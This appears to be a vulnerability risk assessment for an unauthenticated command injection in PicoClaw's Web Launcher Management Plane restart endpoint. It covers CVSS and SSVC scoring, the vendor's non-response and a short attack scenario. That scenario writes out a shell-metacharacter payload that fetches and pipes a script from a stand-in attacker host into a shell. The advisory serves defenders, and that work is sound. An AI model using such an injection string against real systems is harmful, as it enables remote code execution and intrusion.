PicoClaw EUVD-2026-25663

No special conditions - remote unauthenticated exploitation against default configurations of PicoClaw Web Launcher Management Plane. The CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms the /api/gateway/restart endpoint is remotely accessible without authentication, privileges, or user interaction. Attack success requires only that the Web Launcher Management Plane component is network-reachable (TCP port for HTTP/HTTPS service, commonly 80/443 or custom ports). The 'Management Plane' designation suggests this is an administrative interface that SHOULD be restricted to trusted networks, but the vulnerability itself exploits a lack of input validation rather than relying on misconfiguration. LIMITING FACTORS: Impact scope is UNCHANGED (S:U) with partial confidentiality/integrity/availability impact (C:L/I:L/A:L), suggesting command execution may occur in a restricted execution context (non-root user, containerized environment, or limited shell). However, any RCE foothold enables privilege escalation attempts and lateral movement, making even partial impact significant for initial access.

This vulnerability presents HIGH real-world risk despite moderate CVSS 7.3 score. The CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms remote, unauthenticated exploitation with low complexity - the most dangerous combination. The E:P (Proof-of-concept Exists) temporal metric confirms public exploit code availability, significantly lowering the barrier to exploitation. CRITICAL CONCERN: Vendor non-responsiveness to responsible disclosure (GitHub issue #2307) means no official patch exists and none is forthcoming without vendor engagement. This creates persistent risk for all deployed instances. The impact scope is MODERATE (C:L/I:L/A:L) rather than critical, suggesting command execution may occur in a restricted context (possibly limited shell access or containerized environment), but any remote code execution warrants immediate attention. AUTOMATABLE: Yes - the network vector, lack of authentication, and simple API endpoint make this trivial to mass-scan and exploit. SSVC decision: Exploitation=POC, Automatable=Yes, Technical Impact=Partial (not total system compromise) suggests SCHEDULED priority, but vendor abandonment elevates this to OUT-OF-BAND response for internet-facing instances. Prioritize if PicoClaw management interfaces are exposed to untrusted networks.

An unauthenticated remote attacker identifies a PicoClaw Web Launcher Management Plane instance exposed on the internet (via Shodan search or targeted scanning of known deployments). The attacker crafts a malicious HTTP request to the /api/gateway/restart endpoint, injecting shell metacharacters (e.g., '; curl attacker.com/payload.sh | sh #') into a parameter that controls restart behavior. The vulnerable application fails to sanitize this input and passes it directly to a system() or exec() call, executing both the intended restart command and the attacker's injected payload. With proof-of-concept code publicly available (CVSS:E:P), even unsophisticated attackers can weaponize this to establish reverse shells, exfiltrate configuration data, or pivot to internal networks. The low attack complexity (AC:L) and lack of authentication (PR:N) make mass exploitation trivial via automated scanning tools.